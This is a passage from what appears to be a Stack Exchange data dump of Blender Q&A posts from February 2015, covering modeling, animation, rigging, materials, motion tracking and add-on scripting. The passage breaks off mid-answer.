  <row Id="24667" PostTypeId="2" ParentId="24660" CreationDate="2015-02-12T20:33:51.343" Score="2" Body="&lt;p&gt;You have to do that in edge mode, dissolve edges around the hole. there will be too edges remaining (causing an error when trying to dissolve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XJS8K.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then, go in vertex mode, select corner vertices and join them with &lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZuUm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same on the other corner, now you can dissolve the 2 remaining edges and the excess vertices.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-12T20:33:51.343" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24668" PostTypeId="1" CreationDate="2015-02-12T20:41:18.107" Score="1" ViewCount="115" Body="&lt;p&gt;I have setup a rigged character with bone chains having cylinder objects as their IK target, So far I can animate them by keyframing the cylinder transforms with I key (locRot keys). how do I export these animations?&lt;/p&gt;&#xA;" OwnerUserId="11454" LastActivityDate="2015-02-12T20:41:18.107" Title="How to export aimation based on IK with a non bone object as target?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24670" PostTypeId="2" ParentId="24656" CreationDate="2015-02-12T21:07:06.323" Score="3" Body="&lt;p&gt;I think you may have accidentally scaled your camera to a negative number. With the camera selected, open up the &lt;a href=&quot;https://blender.stackexchange.com/a/24526/2217&quot;&gt;properties panel&lt;/a&gt; with &lt;kbd&gt;N&lt;/kbd&gt; and see if the camera's scale is anything smaller then 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have scaled the camera, then just make the X axis a positive number again, and your render will work as excepted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really is no reason to have the camera scaled to anything but 1, except if you are looking to flip the image. However if a three axis have a negative number, after changing the camera's scale you will have to reposition the camera.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-02-12T21:07:06.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24671" PostTypeId="2" ParentId="24663" CreationDate="2015-02-12T21:11:43.370" Score="2" Body="&lt;p&gt;Click the pushdown action button (icon with the double down arrows):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7YEoq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that the &lt;em&gt;Action Strip&lt;/em&gt; settings become available in the &lt;em&gt;Properties&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D0r7n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is documented in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs Creating Action Strips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-12T21:21:13.093" LastActivityDate="2015-02-12T21:21:13.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24674" PostTypeId="1" AcceptedAnswerId="24681" CreationDate="2015-02-12T22:49:12.913" Score="0" ViewCount="91" Body="&lt;p&gt;I have a scene with multiple cameras. Each camera is following their respective paths. This was done so that I could have one scene but render out two entirely different animations. Now if I choose the camera that I want to render an animation from, how do I prevent the other animation from playing at the same time? I know that I can hide what is rendered in the Outliner but is it best practice to have both animations playing at the same time when rendering?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-02-12T23:07:49.083" LastActivityDate="2015-02-13T07:21:05.267" Title="How to prevent unused cameras from playing their animations?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24675" PostTypeId="1" CreationDate="2015-02-12T22:51:07.033" Score="10" ViewCount="2343" Body="&lt;p&gt;I have some footage I am testing out the motion tracker with, and the footage looks like to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YkEUr.jpg&quot; alt=&quot;Motion tracking footage image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I have added many tracking markers to the head of the minifigure. I have added a new face onto the head, but unfortunately, I do not know a way of removing the old tracking markers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a good way of removing those, or a way to track the head without requiring all those tracking markers? You can see that I learned how to track the head from this question, though, sadly, I have to use 8-14 markers in order to get a proper track:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19638/motion-tracking-round-objects&quot;&gt;Motion tracking round objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's impossible to remove the markers, or use a different method of tracking, does anyone have any tips on the best way to position the tracking markers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-02-13T11:50:53.883" Title="Remove Tracking Markers" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24676" PostTypeId="2" ParentId="24675" CreationDate="2015-02-12T23:41:02.277" Score="10" Body="&lt;p&gt;Removing the markers is quite simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you need:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scale accurate model of the mini-figures head&lt;/li&gt;&#xA;&lt;li&gt;A million dollars and contacts at ILM :P&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you need to do&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Align your model of the mini figure to the tracked head &lt;strong&gt;&lt;em&gt;exactly&lt;/em&gt;&lt;/strong&gt; even the slightest error can be catastrophic. &lt;/li&gt;&#xA;&lt;li&gt;Project the image back onto the model head, using the UV project modifier. Be sure the create a UV map specifically for this purpose. It doesn't matter what it looks like since it will be overwritten. See image for settings.&lt;/li&gt;&#xA;&lt;li&gt;Create a B&amp;amp;W matte on the model head, using texture paint, of where you wan't to remove the markers. Be sure to feather it. You may wan't to create a matte for each and every marker (see later steps), but it will be a pain.&lt;/li&gt;&#xA;&lt;li&gt;Take your projected image, and move it up or down based on where available matching pixels are. You may need to do this on an individual marker bases. The example material only supports one direction.&lt;/li&gt;&#xA;&lt;li&gt;Make the texture shadless (BTW, because of the complex mapping, I'd this in cycles, it will render pretty fast since it will only be an emission shader) be sure to make it transparent outside of the white areas of your matte.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YqDW5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YqDW5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;br/&gt;&lt;sup&gt;Click for larger image&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Render and composite over!&lt;/li&gt;&#xA;&lt;li&gt;If it doesn't work, kiss your million bye bye and call up your buddies at ILM!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Final notes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For best results you should update the texture on each frame, so that the paint over will animate with the reflections, which is why I recommended the UV project modifier.&lt;/li&gt;&#xA;&lt;li&gt;If you have trouble, just ask which steps you need elaborated.&lt;/li&gt;&#xA;&lt;li&gt;This will take some tweaking to make it look correct.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-13T01:29:18.830" LastActivityDate="2015-02-13T01:29:18.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24677" PostTypeId="1" AcceptedAnswerId="24682" CreationDate="2015-02-13T00:32:52.870" Score="6" ViewCount="1121" Body="&lt;p&gt;Are there any tools in Blender that take irregular polygons and make them regular (approximate a circle)? I'm specifically looking for a solution that works with &lt;strong&gt;preexisting&lt;/strong&gt; polygons. Also, it would be nice if it keeps the overall position after making it regular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Irregular Polygons&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXGai.png&quot; alt=&quot;irregular polygons&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Regular Polygons&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNsyf.png&quot; alt=&quot;regular polygons&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2015-02-13T17:35:37.693" Title="Are there any tools for making irregular polygons regular?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24678" PostTypeId="2" ParentId="24650" CreationDate="2015-02-13T03:33:04.273" Score="7" Body="&lt;p&gt;Here is a node setup that approximates the Gaussian beam.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;normalize the coordinates of the object by division on the dimensions&lt;/li&gt;&#xA;&lt;li&gt;subdivide the radial dimensions &quot;in this case Y and Z&quot; on the beam length &quot;X&quot; &lt;/li&gt;&#xA;&lt;li&gt;feed  Y Z into a &lt;a href=&quot;http://en.wikipedia.org/w/index.php?title=Gaussian_function&amp;amp;section=4#Two-dimensional_Gaussian_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gaussian function&lt;/a&gt; to create the redial gradient&lt;/li&gt;&#xA;&lt;li&gt;the longitude gradient is simple (beam length-X)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MeKKH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MeKKH.png&quot; alt=&quot;cycles node setup for Gaussian laser beam&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coordinates node group&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kXnip.png&quot; alt=&quot;Coordinates node group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gaussian function node group&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2mDwB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mDwB.png&quot; alt=&quot;Gaussian function node group&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The &lt;strong&gt;A&lt;/strong&gt; input in the Gaussian function group controls the amplitude of the Gaussian function.&lt;br&gt;&#xA;&lt;strong&gt;S_y&lt;/strong&gt; and &lt;strong&gt;S_z&lt;/strong&gt; control the Y and Z spread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simple render :&lt;img src=&quot;https://i.stack.imgur.com/L8jRC.jpg&quot; alt=&quot;example render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another render :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LaaRx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/34375&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/pic/83788&quot; rel=&quot;nofollow noreferrer&quot;&gt;YA render&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-16T10:24:09.600" LastActivityDate="2015-02-16T10:24:09.600" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="24679" PostTypeId="1" CreationDate="2015-02-13T05:38:16.903" Score="0" ViewCount="106" Body="&lt;p&gt;I want to edit the IPO curve on blender. In the Graph editor,I select Ylocation curve then I hit T and I choose linear but the curve does not change to linear (image 1 vs image 2). I have tried other interpolation mode, but the result is the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/me3hW.png&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WfRdK.png&quot; alt=&quot;image2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-02-13T05:43:39.487" LastActivityDate="2015-02-13T07:31:43.773" Title="Edit IPO curve does not work" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;nla-editor&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24680" PostTypeId="2" ParentId="24679" CreationDate="2015-02-13T06:45:34.997" Score="3" Body="&lt;p&gt;You have to select the &lt;strong&gt;keyframes&lt;/strong&gt; you want to affect first and then change the interpolation type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwBTX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-02-13T07:31:43.773" LastActivityDate="2015-02-13T07:31:43.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24681" PostTypeId="2" ParentId="24674" CreationDate="2015-02-13T07:04:54.340" Score="2" Body="&lt;p&gt;A camera itself doesn't play an animation, only the active camera determines what is visible in the rendered animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could ignore the other (inactive) camera it wouldn't be visible in the rendering if it disturbs in the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides simply switching it to invisible in the outliner (as you already described) you could move each camera with its path to another layer. &lt;kbd&gt;M &lt;/kbd&gt;layer# (&lt;kbd&gt;0&lt;/kbd&gt;-&lt;kbd&gt;9&lt;/kbd&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming all scene data is on layer 1 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Layer 1 Scene objects&#xA;Layer 2 Camera1 and Path1&#xA;Layer 3 Camera2 and Path2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uVpG2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility would be create different scenes but this would be harder to maintain.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-13T07:21:05.267" LastActivityDate="2015-02-13T07:21:05.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24682" PostTypeId="2" ParentId="24677" CreationDate="2015-02-13T08:41:29.907" Score="8" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/LoopTools&quot; rel=&quot;noreferrer&quot;&gt;LoopTools&lt;/a&gt; addon, which is already with the official Blender builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable this addon from the Add-Ons list, then select the target face, then &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;strong&gt;LoopTools&lt;/strong&gt; &gt; &lt;em&gt;Circle&lt;/em&gt;, which will distribute vertices &lt;strong&gt;circularly and evenly&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xwZTn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-13T17:35:37.693" LastActivityDate="2015-02-13T17:35:37.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24683" PostTypeId="1" AcceptedAnswerId="24684" CreationDate="2015-02-13T08:47:29.910" Score="9" ViewCount="9675" Body="&lt;p&gt;I'm modelling with a reference image as a background image, but I can't see it through the mesh. How can I make it a bit transparent in the 3D view so I can see the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm doing this in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="1224" LastEditDate="2015-02-13T12:21:00.713" LastActivityDate="2015-02-13T12:21:00.713" Title="How can you make the mesh in a 3D view a bit transparent?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24684" PostTypeId="2" ParentId="24683" CreationDate="2015-02-13T09:12:23.927" Score="11" Body="&lt;p&gt;You want to set your background image like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/56dQv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set it to &lt;strong&gt;front&lt;/strong&gt; and give it some opacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparent mesh you can only make in Blender Internal in GLSL shaded viewport by setting the material &lt;em&gt;Z Transparency&lt;/em&gt; Alpha or by giving it a transparent texture.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-13T09:12:23.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24685" PostTypeId="1" AcceptedAnswerId="24691" CreationDate="2015-02-13T09:51:05.160" Score="1" ViewCount="1062" Body="&lt;p&gt;My addon is constituted by two files scripts. &#xA;when I push the 'Remove' button , one file stay on the addons folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KPc0k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell blender remove the two python files from the addons directory?&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="6426" LastEditDate="2015-02-13T10:30:12.710" LastActivityDate="2015-02-13T12:19:38.243" Title="How to remove attached scripts files on deleting add-on?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24686" PostTypeId="1" CreationDate="2015-02-13T09:54:05.087" Score="1" ViewCount="132" Body="&lt;p&gt;I have followed many tutorials about UV map for textures to a mesh, but still can't see the texture in UV/Image Editor. I use Blender 2.70, This problem is present in Blender Render and also in Cycles Render logically with different procedures.&lt;/p&gt;&#xA;" OwnerUserId="11558" LastEditorUserId="2217" LastEditDate="2015-02-13T14:31:41.447" LastActivityDate="2015-02-13T15:26:46.830" Title="No texture displayed in 3D view" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24687" PostTypeId="1" CreationDate="2015-02-13T10:26:23.127" Score="3" ViewCount="5425" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W3GE8.png&quot; alt=&quot;missing generate button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find the &lt;kbd&gt;Generate&lt;/kbd&gt; button to generate my rig, in the Blender Cookie Rigging Tutorial it should be found in the bottom right corner as another tab under the &quot;Rigify Buttons&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I cannot see the &lt;kbd&gt;Generate&lt;/kbd&gt; button under the Rigify Buttons tab. I can only see an add sample button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYxmv.png&quot; alt=&quot;Tutorial Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the &lt;kbd&gt;Generate&lt;/kbd&gt; button in the bottom right corner of the screen clipping from the Youtube tutorial, but not on my screen.&lt;/p&gt;&#xA;" OwnerUserId="11565" LastEditorUserId="72" LastEditDate="2015-02-13T16:51:57.790" LastActivityDate="2016-12-29T10:50:32.097" Title="Missing 'Generate' button in Rigify Buttons tab" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24688" PostTypeId="1" CreationDate="2015-02-13T10:39:40.900" Score="1" ViewCount="135" Body="&lt;p&gt;Is there a hotkey for quitting blender, because today as I was using blender I pressed (according to me) &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to undo but I guess I pressed another key as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So was this a crash or just a hotkey?&lt;/p&gt;&#xA;" OwnerUserId="11566" LastEditorUserId="3710" LastEditDate="2015-02-13T10:49:22.767" LastActivityDate="2015-02-13T10:49:22.767" Title="Close hotkey issue or crash?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-13T14:29:19.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="24690" PostTypeId="1" CreationDate="2015-02-13T12:13:59.310" Score="1" ViewCount="428" Body="&lt;p&gt;Is it possible to make Undo/Redo for Modal Mode?&#xA;For example in blender's Templates there is a modal test (Templates-&gt;Python-&gt;Modal Operator). It looks like this: &lt;a href=&quot;http://pastebin.com/Vs1NteED&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Vs1NteED&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the operator makes selection of objects. Is it possible to make Undo/Redo for the Modal Mode to revert some modal operations?&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-02-13T12:13:59.310" Title="Python: Undo/Redo for Modal Mode" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24691" PostTypeId="2" ParentId="24685" CreationDate="2015-02-13T12:19:38.243" Score="2" Body="&lt;p&gt;In my &lt;code&gt;__init__.py&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if &quot;bpy&quot; in locals():&#xA;    import imp&#xA;    imp.reload(myScript)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and everything works fine :)&lt;/p&gt;&#xA;" OwnerUserId="6426" LastActivityDate="2015-02-13T12:19:38.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24692" PostTypeId="2" ParentId="24687" CreationDate="2015-02-13T12:41:04.240" Score="5" Body="&lt;p&gt;The Generate Button is only available in &lt;em&gt;Object Mode&lt;/em&gt;. The screenshot you posted shows that you're in &lt;em&gt;Edit Mode&lt;/em&gt; Press &lt;kbd&gt;Tab&lt;/kbd&gt; then the button should appear.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-13T12:41:04.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24693" PostTypeId="1" AcceptedAnswerId="24699" CreationDate="2015-02-13T13:44:10.787" Score="3" ViewCount="969" Body="&lt;p&gt;I'm trying to make a PNG Rain animation with Alpha Channel and then i need to import that into another software, the thing is that i created a glass material in order to give the water-drops a kind of transparent texture, and it works on the preview of the material, the thing is that it needs light (any lamp) to work, but on this case i do not want to add any light since i need it almost as a plain illumination, is it possible to make the material work without light? like an Emission material but with this glass material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/77dH1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image Reference (without the background)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sx247.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-02-13T14:16:21.963" LastActivityDate="2015-02-13T16:07:47.443" Title="How can i make a Glass material that doesn't need any light to shine?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24694" PostTypeId="1" AcceptedAnswerId="24712" CreationDate="2015-02-13T14:43:14.907" Score="7" ViewCount="2775" Body="&lt;p&gt;I want to &quot;query&quot; grease pencil data from my python script. In some sense, I need to get the points of the sketch and their coordinates to do some curve fitting. Is there a way to do this via python? Also, is there a higher level API that can give me more information about the strokes drawn?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2017-05-05T09:53:18.550" Title="Query grease pencil strokes from python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24695" PostTypeId="1" CreationDate="2015-02-13T15:20:15.940" Score="12" ViewCount="15631" Body="&lt;p&gt;I have two overlapping vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/97r8W.png&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to merge these two vertices into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tvq52.png&quot; alt=&quot;after&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this automatically? I have a large model with a lot of overlapping edges like these. It will be also very useful that I could merge vertices with parallel edges within a given distance. Is there any tool for that?&lt;/p&gt;&#xA;" OwnerUserId="11569" LastActivityDate="2020-02-19T20:01:16.137" Title="How to merge overlapping edges into one?" Tags="&lt;vertices&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24696" PostTypeId="2" ParentId="24686" CreationDate="2015-02-13T15:26:46.830" Score="1" Body="&lt;p&gt;That could happen if you are viewing the render result. Look at the bottom of the UV/Image Editor and see if it says “Render Result”.  If that is the problem, just click the X to the right of the image selection box or select another image and you should be able to see the unwrapped pelt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lSsi8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-02-13T15:26:46.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24697" PostTypeId="1" AcceptedAnswerId="24700" CreationDate="2015-02-13T15:32:30.500" Score="1" ViewCount="6553" Body="&lt;p&gt;I'm making a Prism. It's not based totally on reality, so it can count as a basic representation of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on the image, there are reflections made by the objects, but how can I erase exactly those reflections? I already unchecked the box on the objects that are from 'Transmission' and 'Shadow'...but still I see them on there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3t1rh.png&quot; alt=&quot;Screenshot of the problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If i add more Roughness to the Glass BSDF, the reflections dissapear, but the transparency isnt the same.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="72" LastEditDate="2015-02-13T16:46:02.030" LastActivityDate="2015-02-13T16:46:02.030" Title="How to delete or hide reflections, bounces and refractions from a geometry on render?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24698" PostTypeId="2" ParentId="24695" CreationDate="2015-02-13T15:58:55.197" Score="4" Body="&lt;p&gt;Doing so in the past would have been painful and given you a lot of bad geometry.  If you tried to animate it you'd get horrible mesh deformations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you might be able to get good results with the intersect tool added in 2.71.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a YouTube video about how to use it:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=tWSiRDw_tKE&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=tWSiRDw_tKE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you tell Blender to calculate the intersection of the two meshes, then delete the over lap, and finally you can bridge the two in a number of different ways (including the bridge tool, but in your case probably merging each vertex pair).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might still be some odd topology to clean up, and it might not animate 